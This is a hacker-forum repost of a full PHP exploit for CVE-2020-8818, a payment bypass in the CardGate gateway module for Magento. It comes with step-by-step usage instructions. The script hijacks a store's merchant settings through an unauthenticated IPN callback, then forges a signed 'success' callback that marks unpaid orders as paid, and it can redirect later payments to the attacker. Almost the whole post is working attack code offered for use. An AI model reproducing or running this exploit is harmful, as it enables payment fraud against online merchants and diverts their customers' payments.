跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass

精选回复

发布于
# Exploit Title: Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass
# Discovery Date: 2020-02-02
# Public Disclosure Date: 2020-02-22
# Exploit Author: GeekHack
# Vendor Homepage: https://www.cardgate.com (www.curopayments.com)
# Software Link: https://github.com/cardgate/magento2/releases/tag/v2.0.30
# Version: <= 2.0.30
# Tested on: Magento 2.3.4 + CardGate Payment Gateway Module 2.0.30
# CVE: CVE-2020-8818

<?php
/*
  Description:

  Lack of origin authentication (CWE-346) at IPN callback processing function allow (even unauthorized) attacker to remotely replace critical plugin settings (merchant id, secret key etc) with known to him and therefore bypass payment process (eg. spoof order status by manually sending IPN callback request with a valid signature but without real payment) and/or receive all subsequent payments (on behalf of the store).

  [code ref: https://github.com/cardgate/magento2/blob/715979e54e1a335d78a8c5586f9e9987c3bf94fd/Controller/Payment/Callback.php#L88-L107]
*/

/*
  Usage:

  1. Change values of the constants (see below for TARGET & ORDER*)
  2. Host this script somewhere (must be public accessible)
  3. Register a merchant at https://cardgate.com
  4. Sign into "My CardGate" dashboard
  5. Add fake site or choose existing one
  6. Click "Setup your Webshop" button in site preferences
  7. Paste the URL of this script into the pop-up window and click "Save"
  8. The target store now uses the settings of your site, enjoy :]

  P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop.
*/

// -------- Options (start) --------
define('TARGET', 'http://domain.tld'); // without trailing slash, pls
define('ORDER', '000000001'); // provide non-zero value to automagically spoof order status
define('ORDER_AMOUNT', 1.00); // provide a valid total (to bypass built-in fraud protection)
define('ORDER_CURRENCY', 'USD'); // provide a valid currency (same goal as above)
define('ORDER_PAYMENT_TYPE', 'sofortbanking'); // provide a valid payment type slug (optional)
// --------- Options (end) ---------

define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/');
define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/');

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sToken_ 
 * @param bool $bTestmode_ 
 * @return string
 */
function pullConfig($sToken_, $bTestmode_ = FALSE) {
	if (!is_string($sToken_)) {
		throw new Exception('invalid token for settings pull: ' . $sToken_);
	}

	$sResource = "pullconfig/{$sToken_}/";
	$sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource;

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_URL, $sUrl);
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_HTTPHEADER, [
		'Content-Type: application/json',
		'Accept: application/json'
	]);
	if ($bTestmode_) {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);
	} else {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2);
	}

	if (FALSE == ($sResults = curl_exec($rCh))) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}
	if (NULL === ($aResults = json_decode($sResults, TRUE))) {
		throw new Exception('remote gave invalid JSON: ' . $sResults);
	}
	if (isset($aResults['error'])) {
		throw new Exception($aResults['error']['message']);
	}

	return $aResults;
}

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sUrl 
 * @param array $aData_ 
 * @param string $sHttpMethod_ 
 * @return string
 */
function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') {
	if (!in_array($sHttpMethod_, ['GET', 'POST'])) {
		throw new Exception('invalid http method: ' . $sHttpMethod_);
	}

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);

	if ('POST' == $sHttpMethod_) {
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
		curl_setopt($rCh, CURLOPT_POST, TRUE);
		curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_));
	} else {
		$sUrl = $sUrl
			. (FALSE === strchr($sUrl, '?') ? '?' : '&')
			. http_build_query($aData_)
		;
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
	}

	$response = curl_exec($rCh);
	if (FALSE == $response) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}

	return $response;
}

if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) {
	try {
		$aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']);
		$aConfigData = $aResult['pullconfig']['content'];
		$response = doRequest(TARGET . '/cardgate/payment/callback', $_REQUEST, 'GET');
		if ($response == $aConfigData['merchant_id'] . '.' . $aConfigData['site_id'] . '.200') {
			if (ORDER) {
				$payload = [
					'testmode' => $_REQUEST['testmode'],
					'reference' => ORDER,
					'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)),
					'currency' => ORDER_CURRENCY,
					'amount' => ORDER_AMOUNT * 100,
					'status' => 'success',
					'code' => 200,
					'pt' => ORDER_PAYMENT_TYPE
				];
				$payload['hash'] = md5(
					(!empty($payload['testmode']) ? 'TEST' : '')
					. $payload['transaction']
					. $payload['currency']
					. $payload['amount']
					. $payload['reference']
					. $payload['code']
					. $aConfigData['site_key']
				);
				$response = doRequest(TARGET . '/cardgate/payment/callback', $payload, 'GET');
				if ($response == $payload['transaction'] . '.' . $payload['code']) {
					die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
				} else {
					throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)");	
				}
			} else {
				die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
			}
		} else {
			throw new Exception("It seems target is not vulnerable ($response)");
		}
	} catch (\Exception $oException_) {
		die(htmlspecialchars($oException_->getMessage()));
	}
}
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。